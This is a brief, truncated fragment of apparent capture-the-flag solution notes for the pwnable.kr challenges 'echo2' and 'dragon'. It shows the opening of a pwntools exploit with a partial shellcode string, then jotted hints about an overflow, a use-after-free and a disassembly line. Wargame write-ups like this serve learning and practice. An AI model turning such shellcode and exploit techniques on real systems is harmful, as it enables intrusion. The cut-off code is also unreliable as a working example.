1.echo2solve from pwn import * p = remote('pwnable.kr', 9011) shellcode="\x6a\x3b\x58\x99\x52\x48\xbb\x2f\

1.dragonsolveoverflow while ( *((_BYTE *)ptr + 8) > 0 ); uaf .text:080488C0 mov eax, [ebp+drago